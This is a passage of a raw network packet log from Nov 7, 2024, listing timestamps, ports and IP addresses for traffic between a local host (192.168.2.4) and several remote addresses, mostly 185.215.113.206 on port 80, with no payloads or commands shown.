Nov 7, 2024 06:01:24.442589045 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442603111 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442611933 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442615986 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.442646027 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.442682028 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443160057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443193913 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443213940 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443236113 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443322897 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443336010 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443347931 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443358898 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443373919 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443396091 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443736076 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443747997 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443758965 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443778038 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443789005 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443790913 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443799973 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443800926 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443814039 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.443829060 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.443857908 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.444511890 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444525003 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444535971 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444547892 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444559097 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444570065 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444571018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.444581985 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444587946 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.444595098 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.444610119 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.444653034 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.445430994 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445442915 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445453882 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445466042 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445477009 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445487976 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445492029 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.445501089 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445512056 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.445512056 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.445528984 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.445563078 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.446259975 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.446271896 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.446283102 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.446294069 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.446305990 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.446325064 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.446352959 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.486412048 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.486440897 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.486490965 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.486495972 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.486537933 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.497409105 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.497426987 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.497438908 CET	49878	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.497443914 CET	443	49878	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.502820969 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.502847910 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.502923965 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.505003929 CET	49884	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:24.505019903 CET	443	49884	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:24.567980051 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:24.568048954 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:24.572700977 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:24.572722912 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:24.573080063 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:24.574837923 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:24.574966908 CET	49879	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:24.574975014 CET	443	49879	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:24.603563070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603588104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603600025 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603610992 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603621960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603626013 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.603632927 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603646040 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603657961 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603663921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.603676081 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603694916 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603705883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603708029 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.603712082 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603724957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603738070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603744030 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603754044 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603760004 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.603775978 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.603854895 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604105949 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604123116 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604135036 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604146957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604156017 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604163885 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604165077 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604176044 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604187012 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604192019 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604199886 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604233027 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604264021 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604571104 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604592085 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604609013 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604612112 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604621887 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604630947 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604636908 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604646921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604660988 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604675055 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604686022 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.604707956 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.604733944 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605051041 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605062008 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605074883 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605093002 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605101109 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605106115 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605119944 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605129957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605132103 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605143070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605153084 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605175018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605555058 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605571985 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605582952 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605592012 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605600119 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605612040 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605622053 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605624914 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605633974 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.605659962 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.605683088 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606026888 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606076956 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606086969 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606097937 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606175900 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606189013 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606204987 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606215000 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606220007 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606231928 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606242895 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606245995 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606259108 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606267929 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606270075 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606281996 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606296062 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606298923 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606304884 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606312037 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606331110 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606358051 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.606939077 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606950998 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606961012 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606972933 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.606983900 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607022047 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607084990 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607100964 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607112885 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607122898 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607124090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607136011 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607146978 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607157946 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607161999 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607170105 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607182980 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607189894 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607194901 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607209921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607234955 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607805014 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607861042 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607896090 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607908010 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607919931 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607932091 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607943058 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607949972 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607954025 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607958078 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.607975006 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607988119 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.607989073 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.608000040 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.608006001 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.608011007 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.608021975 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.608033895 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.608041048 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.608064890 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.720590115 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.720608950 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.720622063 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.720669985 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.720719099 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764056921 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764075994 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764085054 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764097929 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764112949 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764153004 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764157057 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764168024 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764175892 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764192104 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764221907 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764226913 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764238119 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764249086 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764262915 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764273882 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764290094 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764329910 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764338970 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764348030 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764358044 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764364958 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764389038 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764417887 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764615059 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764653921 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764655113 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764667034 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764688015 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764703035 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764774084 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764790058 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764801025 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764811993 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764815092 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764822960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764832973 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764839888 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764851093 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764861107 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764863014 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764877081 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764880896 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764888048 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764895916 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764897108 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764905930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764916897 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764930010 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764934063 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764959097 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.764962912 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764975071 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.764985085 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765012980 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765022993 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765033960 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765043974 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765058994 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765081882 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765109062 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765127897 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765137911 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765149117 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765182018 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765209913 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765222073 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765230894 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765244007 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765269995 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765297890 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765310049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765325069 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765335083 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765345097 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765346050 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765361071 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765376091 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765387058 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765388012 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765398979 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765412092 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765439034 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765532970 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765544891 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765554905 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.765569925 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.765589952 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769237995 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769248009 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769280910 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769293070 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769320011 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769391060 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769402027 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769417048 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769428015 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769438982 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769442081 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769450903 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769453049 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769470930 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769480944 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769490004 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769490957 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769504070 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769510984 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769515991 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769526005 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769526958 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769537926 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769546986 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769556999 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769581079 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769789934 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769809961 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769820929 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769826889 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769846916 CET	49859	80	192.168.2.4	185.215.113.206
Nov 7, 2024 06:01:24.769859076 CET	80	49859	185.215.113.206	192.168.2.4
Nov 7, 2024 06:01:24.769867897 CET	80	49859	185.215.113.206	192.168.2.4
